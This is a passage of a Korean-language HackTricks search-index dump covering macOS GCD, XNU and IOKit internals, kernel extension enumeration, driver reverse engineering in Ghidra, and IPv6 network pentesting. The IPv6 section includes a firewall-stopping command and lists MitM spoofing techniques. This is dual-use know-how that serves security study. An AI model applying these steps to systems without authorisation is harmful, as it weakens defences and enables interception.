execution\\nbackgroundQueue.async(execute: backgroundTask) // Continue with other work on the main queue\\nfor i in 0..<10 {\\nprint(\\"Main task \\\\(i)\\")\\nsleep(1) // Simulate a long-running task\\n}\\n}","breadcrumbs":"macOS Security & Privilege Escalation » macOS GCD - Grand Central Dispatch » Swift","id":"2149","title":"Swift"},"215":{"body":"방법 1: Link-local 주소 사용 네트워크 내 장치의 MAC 주소를 얻습니다. MAC 주소에서 Link-local IPv6 주소를 파생합니다. 방법 2: 멀티캐스트 사용 로컬 네트워크에서 IPv6 주소를 발견하기 위해 멀티캐스트 주소 ff02::1에 핑을 보냅니다. bash service ufw stop # Stop the firewall\\nping6 -I ff02::1 # Send a ping to multicast address\\nip -6 neigh # Display the neighbor table","breadcrumbs":"Pentesting Network » Pentesting IPv6 » 네트워크 내에서 IPv6 주소 발견하기","id":"215","title":"네트워크 내에서 IPv6 주소 발견하기"},"2150":{"body":"다음 Frida 스크립트는 여러 dispatch 함수에 후킹하고 큐 이름, 백트레이스 및 블록을 추출하는 데 사용할 수 있습니다: https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js bash frida -U -l libdispatch.js dispatch_sync\\nCalling queue: com.apple.UIKit._UIReusePool.reuseSetAccess\\nCallback function: 0x19e3a6488 UIKitCore!__26-[_UIReusePool addObject:]_block_invoke\\nBacktrace:\\n0x19e3a6460 UIKitCore!-[_UIReusePool addObject:]\\n0x19e3a5db8 UIKitCore!-[UIGraphicsRenderer _enqueueContextForReuse:]\\n0x19e3a57fc UIKitCore!+[UIGraphicsRenderer _destroyCGContext:withRenderer:]\\n[...]","breadcrumbs":"macOS Security & Privilege Escalation » macOS GCD - Grand Central Dispatch » Frida","id":"2150","title":"Frida"},"2151":{"body":"현재 Ghidra는 ObjectiveC dispatch_block_t 구조체와 swift_dispatch_block 구조체를 이해하지 못합니다. 그래서 이들을 이해하도록 하려면, 선언 하면 됩니다: 그런 다음, 코드에서 이들이 사용되는 위치를 찾습니다: tip \\"block\\"에 대한 모든 참조를 기록하여 구조체가 사용되고 있음을 파악하는 방법을 이해하세요. 변수에서 오른쪽 클릭 -> 변수 재입력 및 이 경우 **swift_dispatch_block**을 선택합니다: Ghidra는 모든 것을 자동으로 다시 작성합니다:","breadcrumbs":"macOS Security & Privilege Escalation » macOS GCD - Grand Central Dispatch » Ghidra","id":"2151","title":"Ghidra"},"2152":{"body":"*OS Internals, Volume I: User Mode. By Jonathan Levin tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS GCD - Grand Central Dispatch » References","id":"2152","title":"References"},"2153":{"body":"Reading time: 4 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS Kernel & System Extensions","id":"2153","title":"macOS Kernel & System Extensions"},"2154":{"body":"macOS의 핵심은 XNU 로, \\"X는 유닉스가 아니다\\"를 의미합니다. 이 커널은 기본적으로 Mach 마이크로커널 (후에 논의될 예정)과 **버클리 소프트웨어 배포(BSD)**의 요소로 구성되어 있습니다. XNU는 I/O Kit이라는 시스템을 통해 커널 드라이버를 위한 플랫폼을 제공합니다 . XNU 커널은 다윈 오픈 소스 프로젝트의 일부로, 소스 코드는 자유롭게 접근할 수 있습니다 . 보안 연구자나 유닉스 개발자의 관점에서 macOS 는 우아한 GUI와 다양한 맞춤형 애플리케이션을 갖춘 FreeBSD 시스템과 매우 유사하게 느껴질 수 있습니다 . BSD용으로 개발된 대부분의 애플리케이션은 수정 없이 macOS에서 컴파일되고 실행될 수 있으며, 유닉스 사용자에게 친숙한 명령줄 도구가 모두 macOS에 존재합니다. 그러나 XNU 커널이 Mach을 통합하고 있기 때문에 전통적인 유닉스 유사 시스템과 macOS 간에는 몇 가지 중요한 차이점이 있으며, 이러한 차이점은 잠재적인 문제를 일으키거나 독특한 이점을 제공할 수 있습니다. XNU의 오픈 소스 버전: https://opensource.apple.com/source/xnu/","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » XNU Kernel","id":"2154","title":"XNU Kernel"},"2155":{"body":"Mach는 UNIX 호환성 을 위해 설계된 마이크로커널 입니다. 그 주요 설계 원칙 중 하나는 커널 공간에서 실행되는 코드 의 양을 최소화 하고 대신 파일 시스템, 네트워킹 및 I/O와 같은 많은 전형적인 커널 기능이 사용자 수준 작업으로 실행되도록 허용하는 것이었습니다. XNU에서 Mach는 커널이 일반적으로 처리하는 많은 중요한 저수준 작업, 즉 프로세서 스케줄링, 멀티태스킹 및 가상 메모리 관리 등을 책임집니다 .","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » Mach","id":"2155","title":"Mach"},"2156":{"body":"XNU 커널 은 또한 FreeBSD 프로젝트에서 파생된 상당량의 코드를 포함합니다 . 이 코드는 Mach 와 함께 커널의 일부로 같은 주소 공간에서 실행됩니다. 그러나 XNU 내의 FreeBSD 코드는 Mach과의 호환성을 보장하기 위해 수정이 필요했기 때문에 원래 FreeBSD 코드와 상당히 다를 수 있습니다. FreeBSD는 다음을 포함한 많은 커널 작업에 기여합니다: 프로세스 관리 신호 처리 사용자 및 그룹 관리 등 기본 보안 메커니즘 시스템 호출 인프라 TCP/IP 스택 및 소켓 방화벽 및 패킷 필터링 BSD와 Mach 간의 상호작용을 이해하는 것은 그들의 서로 다른 개념적 프레임워크 때문에 복잡할 수 있습니다. 예를 들어, BSD는 프로세스를 기본 실행 단위로 사용하지만 Mach은 스레드를 기반으로 작동합니다. 이 불일치는 XNU에서 각 BSD 프로세스를 하나의 Mach 스레드를 포함하는 Mach 작업과 연결하여 조정됩니다 . BSD의 fork() 시스템 호출이 사용될 때, 커널 내의 BSD 코드는 Mach 함수를 사용하여 작업 및 스레드 구조를 생성합니다. 게다가, Mach과 BSD는 각각 다른 보안 모델을 유지합니다 : Mach의 보안 모델은 포트 권한 에 기반하고, BSD의 보안 모델은 프로세스 소유권 에 기반합니다. 이 두 모델 간의 차이로 인해 때때로 로컬 권한 상승 취약점이 발생했습니다. 일반적인 시스템 호출 외에도 사용자 공간 프로그램이 커널과 상호작용할 수 있도록 하는 Mach 트랩 도 있습니다. 이러한 다양한 요소들이 함께 macOS 커널의 다면적이고 하이브리드 아키텍처를 형성합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » BSD","id":"2156","title":"BSD"},"2157":{"body":"I/O Kit은 XNU 커널 내의 오픈 소스 객체 지향 장치 드라이버 프레임워크 로, 동적으로 로드된 장치 드라이버 를 처리합니다. 이는 다양한 하드웨어를 지원하며 커널에 모듈식 코드를 즉시 추가할 수 있게 해줍니다. macOS IOKit","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » I/O Kit - Drivers","id":"2157","title":"I/O Kit - Drivers"},"2158":{"body":"macOS IPC - Inter Process Communication","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » IPC - Inter Process Communication","id":"2158","title":"IPC - Inter Process Communication"},"2159":{"body":"macOS는 커널 확장 (.kext)을 로드하는 데 매우 제한적입니다. 이는 코드가 높은 권한으로 실행되기 때문입니다. 실제로 기본적으로 우회 방법이 발견되지 않는 한 사실상 불가능합니다. 다음 페이지에서는 macOS가 kernelcache 내에서 로드하는 .kext를 복구하는 방법도 볼 수 있습니다: macOS Kernel Extensions & Debugging","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS Kernel Extensions","id":"2159","title":"macOS Kernel Extensions"},"216":{"body":"IPv6 네트워크에서 MitM 공격을 실행하기 위한 여러 기술이 존재합니다. 예를 들어: ICMPv6 이웃 또는 라우터 광고 스푸핑. ICMPv6 리디렉션 또는 \\"패킷이 너무 큽니다\\" 메시지를 사용하여 라우팅 조작. 모바일 IPv6 공격 (일반적으로 IPSec 비활성화 필요). 악성 DHCPv6 서버 설정.","breadcrumbs":"Pentesting Network » Pentesting IPv6 » IPv6 Man-in-the-Middle (MitM) Attacks","id":"216","title":"IPv6 Man-in-the-Middle (MitM) Attacks"},"2160":{"body":"커널 확장을 사용하는 대신 macOS는 커널과 상호작용하기 위한 사용자 수준 API를 제공하는 시스템 확장을 만들었습니다. 이를 통해 개발자는 커널 확장을 사용할 필요가 없습니다. macOS System Extensions","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS System Extensions","id":"2160","title":"macOS System Extensions"},"2161":{"body":"The Mac Hacker\'s Handbook https://taomm.org/vol1/analysis.html tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » References","id":"2161","title":"References"},"2162":{"body":"Reading time: 8 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS IOKit » macOS IOKit","id":"2162","title":"macOS IOKit"},"2163":{"body":"I/O Kit은 XNU 커널에서 동적 로드된 장치 드라이버 를 처리하는 오픈 소스, 객체 지향 장치 드라이버 프레임워크 입니다. 이는 다양한 하드웨어를 지원하며, 커널에 모듈식 코드를 즉시 추가할 수 있게 해줍니다. IOKit 드라이버는 기본적으로 커널에서 함수를 내보냅니다 . 이 함수 매개변수 유형 은 미리 정의되어 있으며 검증됩니다. 또한, XPC와 유사하게, IOKit은 Mach 메시지 위에 또 다른 레이어입니다. IOKit XNU 커널 코드 는 Apple에 의해 https://github.com/apple-oss-distributions/xnu/tree/main/iokit 에서 오픈 소스로 제공됩니다. 또한, 사용자 공간 IOKit 구성 요소도 오픈 소스입니다 https://github.com/opensource-apple/IOKitUser . 그러나 IOKit 드라이버 는 오픈 소스가 아닙니다. 어쨌든, 때때로 드라이버의 릴리스가 디버깅을 쉽게 해주는 기호와 함께 제공될 수 있습니다. 펌웨어에서 드라이버 확장을 얻는 방법은 여기에서 확인하세요 . C++로 작성되었습니다. 다음을 사용하여 디망글된 C++ 기호를 얻을 수 있습니다: bash # Get demangled symbols\\nnm -C com.apple.driver.AppleJPEGDriver # Demangled symbols from stdin\\nc++filt\\n__ZN16IOUserClient202222dispatchExternalMethodEjP31IOExternalMethodArgumentsOpaquePK28IOExternalMethodDispatch2022mP8OSObjectPv\\nIOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*) caution IOKit 노출된 함수 는 클라이언트가 함수를 호출하려고 할 때 추가 보안 검사를 수행할 수 있지만, 앱은 일반적으로 IOKit 함수와 상호작용할 수 있는 샌드박스 에 의해 제한 됩니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS IOKit » Basic Information","id":"2163","title":"Basic Information"},"2164":{"body":"macOS에서는 다음 위치에 있습니다: /System/Library/Extensions OS X 운영 체제에 내장된 KEXT 파일. /Library/Extensions 3rd 파티 소프트웨어에 의해 설치된 KEXT 파일 iOS에서는 다음 위치에 있습니다: /System/Library/Extensions bash #Use kextstat to print the loaded drivers\\nkextstat\\nExecuting: /usr/bin/kmutil showloaded\\nNo variant specified, falling back to release\\nIndex Refs Address Size Wired Name (Version) UUID \\n1 142 0 0 0 com.apple.kpi.bsd (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>\\n2 11 0 0 0 com.apple.kpi.dsep (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>\\n3 170 0 0 0 com.apple.kpi.iokit (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>\\n4 0 0 0 0 com.apple.kpi.kasan (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>\\n5 175 0 0 0 com.apple.kpi.libkern (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>\\n6 154 0 0 0 com.apple.kpi.mach (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>\\n7 88 0 0 0 com.apple.kpi.private (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>\\n8 106 0 0 0 com.apple.kpi.unsupported (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>\\n9 2 0xffffff8003317000 0xe000 0xe000 com.apple.kec.Libm (1) 6C1342CC-1D74-3D0F-BC43-97D5AD38200A <5>\\n10 12 0xffffff8003544000 0x92000 0x92000 com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1> 9까지 나열된 드라이버는 주소 0에 로드됩니다 . 이는 이들이 실제 드라이버가 아니라 커널의 일부이며 언로드할 수 없음을 의미합니다 . 특정 확장을 찾기 위해 다음을 사용할 수 있습니다: bash kextfind -bundle-id com.apple.iokit.IOReportFamily #Search by full bundle-id\\nkextfind -bundle-id -substring IOR #Search by substring in bundle-id 커널 확장을 로드하고 언로드하려면 다음을 수행하십시오: bash kextload com.apple.iokit.IOReportFamily\\nkextunload com.apple.iokit.IOReportFamily","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS IOKit » 드라이버","id":"2164","title":"드라이버"},"2165":{"body":"IORegistry 는 macOS 및 iOS의 IOKit 프레임워크에서 시스템의 하드웨어 구성 및 상태를 나타내는 데이터베이스의 중요한 부분입니다. 이는 시스템에 로드된 모든 하드웨어 및 드라이버를 나타내는 객체의 계층적 컬렉션 이며, 이들 간의 관계를 나타냅니다. 콘솔에서 IORegistry를 검사하기 위해 cli **ioreg**를 사용하여 얻을 수 있습니다(특히 iOS에 유용합니다). bash ioreg -l #List all\\nioreg -w 0 #Not cut lines\\nioreg -p #Check other plane **IORegistryExplorer**는 https://developer.apple.com/download/all/ 의 Xcode Additional Tools 에서 다운로드할 수 있으며, 그래픽 인터페이스를 통해 macOS IORegistry 를 검사할 수 있습니다. IORegistryExplorer에서 \\"planes\\"는 IORegistry의 다양한 객체 간의 관계를 조직하고 표시하는 데 사용됩니다. 각 plane은 특정 유형의 관계 또는 시스템의 하드웨어 및 드라이버 구성에 대한 특정 뷰를 나타냅니다. IORegistryExplorer에서 마주칠 수 있는 일반적인 planes는 다음과 같습니다: IOService Plane : 드라이버와 nubs(드라이버 간의 통신 채널)를 나타내는 서비스 객체를 표시하는 가장 일반적인 plane입니다. 이 객체들 간의 제공자-클라이언트 관계를 보여줍니다. IODeviceTree Plane : 시스템에 연결된 장치 간의 물리적 연결을 나타내는 plane입니다. USB 또는 PCI와 같은 버스를 통해 연결된 장치의 계층 구조를 시각화하는 데 자주 사용됩니다. IOPower Plane : 전원 관리 측면에서 객체와 그 관계를 표시합니다. 다른 객체의 전원 상태에 영향을 미치는 객체를 보여줄 수 있어 전원 관련 문제를 디버깅하는 데 유용합니다. IOUSB Plane : USB 장치와 그 관계에 특별히 초점을 맞추어 USB 허브와 연결된 장치의 계층 구조를 보여줍니다. IOAudio Plane : 시스템 내에서 오디오 장치와 그 관계를 나타내는 plane입니다. ...","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS IOKit » IORegistry","id":"2165","title":"IORegistry"},"2166":{"body":"다음 코드는 IOKit 서비스 \\"YourServiceNameHere\\"에 연결하고 선택자 0 내의 함수를 호출합니다. 이를 위해: 먼저 IOServiceMatching 및 **IOServiceGetMatchingServices**를 호출하여 서비스를 가져옵니다. 그런 다음 **IOServiceOpen**을 호출하여 연결을 설정합니다. 마지막으로 선택자 0(선택자는 호출하려는 함수에 할당된 번호)로 **IOConnectCallScalarMethod**를 사용하여 함수를 호출합니다. objectivec #import \\n#import int main(int argc, const char * argv[]) {\\n@autoreleasepool {\\n// Get a reference to the service using its name\\nCFMutableDictionaryRef matchingDict = IOServiceMatching(\\"YourServiceNameHere\\");\\nif (matchingDict == NULL) {\\nNSLog(@\\"Failed to create matching dictionary\\");\\nreturn -1;\\n} // Obtain an iterator over all matching services\\nio_iterator_t iter;\\nkern_return_t kr = IOServiceGetMatchingServices(kIOMasterPortDefault, matchingDict, &iter);\\nif (kr != KERN_SUCCESS) {\\nNSLog(@\\"Failed to get matching services\\");\\nreturn -1;\\n} // Get a reference to the first service (assuming it exists)\\nio_service_t service = IOIteratorNext(iter);\\nif (!service) {\\nNSLog(@\\"No matching service found\\");\\nIOObjectRelease(iter);\\nreturn -1;\\n} // Open a connection to the service\\nio_connect_t connect;\\nkr = IOServiceOpen(service, mach_task_self(), 0, &connect);\\nif (kr != KERN_SUCCESS) {\\nNSLog(@\\"Failed to open service\\");\\nIOObjectRelease(service);\\nIOObjectRelease(iter);\\nreturn -1;\\n} // Call a method on the service\\n// Assume the method has a selector of 0, and takes no arguments\\nkr = IOConnectCallScalarMethod(connect, 0, NULL, 0, NULL, NULL);\\nif (kr != KERN_SUCCESS) {\\nNSLog(@\\"Failed to call method\\");\\n} // Cleanup\\nIOServiceClose(connect);\\nIOObjectRelease(service);\\nIOObjectRelease(iter);\\n}\\nreturn 0;\\n} 다른 함수들이 IOConnectCallScalarMethod 외에도 IOConnectCallMethod , **IOConnectCallStructMethod**와 같은 IOKit 함수를 호출하는 데 사용될 수 있습니다...","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS IOKit » Driver Comm Code Example","id":"2166","title":"Driver Comm Code Example"},"2167":{"body":"예를 들어 펌웨어 이미지(ipsw) 에서 이를 얻을 수 있습니다. 그런 다음 좋아하는 디컴파일러에 로드하세요. externalMethod 함수를 디컴파일하기 시작할 수 있습니다. 이 함수는 호출을 받고 올바른 함수를 호출하는 드라이버 함수입니다: 그 끔찍한 호출의 디맥글된 의미는: cpp IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*) 이전 정의에서 self 매개변수가 누락된 점에 유의하세요. 올바른 정의는 다음과 같습니다: cpp IOUserClient2022::dispatchExternalMethod(self, unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*) 실제 정의는 https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388 에서 찾을 수 있습니다: cpp IOUserClient2022::dispatchExternalMethod(uint32_t selector, IOExternalMethodArgumentsOpaque *arguments,\\nconst IOExternalMethodDispatch2022 dispatchArray[], size_t dispatchArrayCount,\\nOSObject * target, void * reference) 이 정보를 통해 Ctrl+Right -> Edit function signature를 다시 작성하고 알려진 유형을 설정할 수 있습니다: 새로 디컴파일된 코드는 다음과 같이 보일 것입니다: 다음 단계에서는 IOExternalMethodDispatch2022 구조체를 정의해야 합니다. 이는 https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176 에서 오픈소스로 제공되며, 이를 정의할 수 있습니다: 이제 (IOExternalMethodDispatch2022 *)&sIOExternalMethodArray를 따라 많은 데이터를 볼 수 있습니다: 데이터 유형을 **IOExternalMethodDispatch2022:**로 변경합니다: 변경 후: 이제 여기에서 7개의 요소로 구성된 배열 이 있다는 것을 알 수 있습니다(최종 디컴파일된 코드를 확인하세요). 7개의 요소로 구성된 배열을 생성하려면 클릭합니다: 배열이 생성된 후에는 모든 내보낸 함수를 볼 수 있습니다: tip 기억하신다면, 사용자 공간에서 내보낸 함수를 호출 하려면 함수의 이름을 호출할 필요가 없고, 선택자 번호 를 호출해야 합니다. 여기에서 선택자 0 은 함수 initializeDecoder , 선택자 1 은 startDecoder , 선택자 2 는 **initializeEncoder**입니다... tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS IOKit » 드라이버 진입점 리버싱","id":"2167","title":"드라이버 진입점 리버싱"},"2168":{"body":"Reading time: 9 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS Kernel Extensions & Debugging » macOS 커널 확장 및 디버깅","id":"2168","title":"macOS 커널 확장 및 디버깅"},"2169":{"body":"커널 확장(Kexts)은 .kext 확장자를 가진 패키지 로, macOS 커널 공간에 직접 로드 되어 운영 체제에 추가 기능을 제공합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS Kernel Extensions & Debugging » 기본 정보","id":"2169","title":"기본 정보"},"217":{"body":"","breadcrumbs":"Pentesting Network » Pentesting IPv6 » Identifying IPv6 Addresses in the eild","id":"217","title":"Identifying IPv6 Addresses in the eild"},"2170":{"body":"**macOS Catalina (10.15)**부터 Apple은 대부분의 레거시 KPI를 사용 중단 으로 표시하고 시스템 확장 및 DriverKit 프레임워크를 도입하여 사용자 공간 에서 실행됩니다. **macOS Big Sur (11)**부터 운영 체제는 사용 중단된 KPI에 의존하는 서드파티 kext를 로드하지 않도록 거부 합니다. Apple Silicon에서는 kext를 활성화하려면 사용자가 추가로: 복구 로 재부팅 → 시작 보안 유틸리티 . 감소된 보안 을 선택하고 **“확인된 개발자의 커널 확장 관리 허용”**을 체크합니다. 재부팅하고 시스템 설정 → 개인 정보 보호 및 보안 에서 kext를 승인합니다. DriverKit/시스템 확장으로 작성된 사용자 공간 드라이버는 충돌이나 메모리 손상이 커널 공간이 아닌 샌드박스화된 프로세스에 국한되므로 공격 표면을 크게 줄입니다 . 📝 macOS Sequoia (15)부터 Apple은 여러 레거시 네트워킹 및 USB KPI를 완전히 제거했습니다. 공급업체를 위한 유일한 호환 가능한 솔루션은 시스템 확장으로 마이그레이션하는 것입니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS Kernel Extensions & Debugging » 사용 중단 상태 및 DriverKit / 시스템 확장","id":"2170","title":"사용 중단 상태 및 DriverKit / 시스템 확장"},"2171":{"body":"명백히, 이것은 매우 강력하여 커널 확장을 로드하는 것이 복잡합니다 . 커널 확장이 로드되기 위해 충족해야 하는 요구 사항 은 다음과 같습니다: 복구 모드 에 진입할 때 , 커널 확장이 로드될 수 있도록 허용되어야 합니다: 커널 확장은 커널 코드 서명 인증서 로 서명되어야 하며, 이는 Apple에 의해 부여 될 수 있습니다. 회사와 필요 이유를 자세히 검토할 것입니다. 커널 확장은 또한 노타리제이션 되어야 하며, Apple은 이를 악성 소프트웨어에 대해 검사할 수 있습니다. 그런 다음, 루트 사용자만이 커널 확장을 로드할 수 있으며 패키지 내의 파일은 루트에 속해야 합니다. 업로드 과정 중 패키지는 보호된 비루트 위치 에 준비되어야 합니다: /Library/StagedExtensions (requires the com.apple.rootless.storage.KernelExtensionManagement grant). 마지막으로, 로드하려고 시도할 때 사용자는 확인 요청을 받게 되며, 수락되면 컴퓨터는 재시작 되어야 합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS Kernel Extensions & Debugging » 요구 사항","id":"2171","title":"요구 사항"},"2172":{"body":"Catalina에서는 다음과 같았습니다: 검증 프로세스가 사용자 공간 에서 발생한다는 점이 흥미롭습니다. 그러나 com.apple.private.security.kext-management 권한이 있는 애플리케이션만이 커널에 확장을 로드하도록 요청할 수 있습니다: kextcache, kextload, kextutil, kextd, syspolicyd kextutil CLI가 확장을 로드하기 위한 검증 프로세스를 시작 합니다. **kextd**와 Mach 서비스 를 사용하여 통신합니다. **kextd**는 서명 과 같은 여러 사항을 확인합니다. **syspolicyd**와 통신하여 확장이 로드될 수 있는지 확인 합니다. **syspolicyd**는 확장이 이전에 로드되지 않았다면 사용자에게 요청 합니다. **syspolicyd**는 결과를 **kextd**에 보고합니다. **kextd**는 마지막으로 커널에 확장을 로드하도록 지시 할 수 있습니다. **kextd**가 사용 불가능한 경우, **kextutil**이 동일한 검사를 수행할 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS Kernel Extensions & Debugging » 로드 프로세스","id":"2172","title":"로드 프로세스"},"2173":{"body":"kextstat는 역사적인 도구였지만 최근 macOS 릴리스에서 사용 중단 되었습니다. 현대 인터페이스는 **kmutil**입니다: bash # List every extension currently linked in the kernel, sorted by load address\\nsudo kmutil showloaded --sort # Show only third-party / auxiliary collections\\nsudo kmutil showloaded --collection aux # Unload a specific bundle\\nsudo kmutil unload -b com.example.mykext 구식 구문은 참조용으로 여전히 사용할 수 있습니다: bash # (Deprecated) Get loaded kernel extensions\\nkextstat # (Deprecated) Get dependencies of the kext number 22\\nkextstat | grep \\" 22 \\" | cut -c2-5,50- | cut -d \'(\' -f1 kmutil inspect는 커널 컬렉션(KC)의 내용을 덤프하거나 kext가 모든 심볼 의존성을 해결하는지 확인하는 데에도 활용될 수 있습니다: bash # List fileset entries contained in the boot KC\\nkmutil inspect -B /System/Library/KernelCollections/BootKernelExtensions.kc --show-fileset-entries # Check undefined symbols of a 3rd party kext before loading\\nkmutil libraries -p /Library/Extensions/FancyUSB.kext --undef-symbols","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS Kernel Extensions & Debugging » 열거 및 관리 (로드된 kexts)","id":"2173","title":"열거 및 관리 (로드된 kexts)"},"2174":{"body":"caution 비록 커널 확장이 /System/Library/Extensions/에 있을 것으로 예상되지만, 이 폴더에 가면 이진 파일을 찾을 수 없습니다 . 이는 kernelcache 때문이며, 하나의 .kext를 리버스 엔지니어링하기 위해서는 이를 얻는 방법을 찾아야 합니다. kernelcache 는 XNU 커널의 미리 컴파일되고 미리 링크된 버전 으로, 필수 장치 드라이버 와 커널 확장 이 포함되어 있습니다. 이는 압축된 형식으로 저장되며 부팅 과정 중 메모리로 압축 해제됩니다. kernelcache는 커널과 중요한 드라이버의 실행 준비가 된 버전을 제공하여 빠른 부팅 시간 을 촉진하며, 부팅 시 이러한 구성 요소를 동적으로 로드하고 링크하는 데 소요되는 시간과 자원을 줄입니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS Kernel Extensions & Debugging » Kernelcache","id":"2174","title":"Kernelcache"},"2175":{"body":"iOS에서는 **/System/Library/Caches/com.apple.kernelcaches/kernelcache**에 위치하고, macOS에서는 다음 명령어로 찾을 수 있습니다: find / -name \\"kernelcache\\" 2>/dev/null 제 경우 macOS에서 다음 위치에서 찾았습니다: /System/Volumes/Preboot/1BAEB4B5-180B-4C46-BD53-51152B7D92DA/boot/DAD35E7BC0CDA79634C20BD1BD80678DFB510B2AAD3D25C1228BB34BCD0A711529D3D571C93E29E1D0C1264750FA043F/System/Library/Caches/com.apple.kernelcaches/kernelcache IMG4 IMG4 파일 형식은 Apple이 iOS 및 macOS 장치에서 펌웨어 구성 요소(예: kernelcache )를 안전하게 저장하고 검증하기 위해 사용하는 컨테이너 형식입니다. IMG4 형식은 헤더와 여러 태그를 포함하여 실제 페이로드(예: 커널 또는 부트로더), 서명 및 일련의 매니페스트 속성을 캡슐화합니다. 이 형식은 암호화 